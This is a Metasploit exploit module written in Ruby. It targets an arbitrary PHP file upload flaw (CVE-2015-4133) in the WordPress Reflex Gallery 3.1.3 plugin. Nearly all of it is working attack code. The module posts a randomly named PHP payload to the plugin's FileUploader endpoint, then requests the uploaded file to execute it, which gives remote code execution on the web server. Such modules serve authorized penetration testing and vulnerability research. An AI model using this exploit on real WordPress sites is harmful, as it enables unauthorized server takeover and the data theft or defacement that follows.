84 lines
2.7 KiB
Ruby
84 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HTTP::Wordpress
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Wordpress Reflex Gallery Upload Vulnerability',
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'Description' => %q{
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This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery
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version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.
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},
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'Author' =>
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[
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'Unknown', # Vulnerability discovery
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'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2015-4133'],
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['EDB', '36374'],
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['OSVDB', '88853'],
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['WPVDB', '7867']
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],
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'Privileged' => false,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['Reflex Gallery 3.1.3', {}]],
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'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date.
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'DefaultTarget' => 0)
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)
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end
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def check
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check_plugin_version_from_readme('reflex-gallery', '3.1.4')
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end
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def exploit
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php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
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data = Rex::MIME::Message.new
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data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"")
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post_data = data.to_s
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time = Time.new
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year = time.year.to_s
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month = "%02d" % time.month
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res = send_request_cgi({
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'uri' => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'),
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'method' => 'POST',
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'vars_get' => {
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'Year' => "#{year}",
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'Month' => "#{month}"
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},
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
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})
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if res
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if res.code == 200 && res.body =~ /success|#{php_pagename}/
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print_good("Our payload is at: #{php_pagename}. Calling payload...")
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register_files_for_cleanup(php_pagename)
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else
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fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
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end
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else
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fail_with(Failure::Unknown, 'Server did not respond in an expected way')
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end
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print_status("Calling payload...")
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send_request_cgi(
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'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename)
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)
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end
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end
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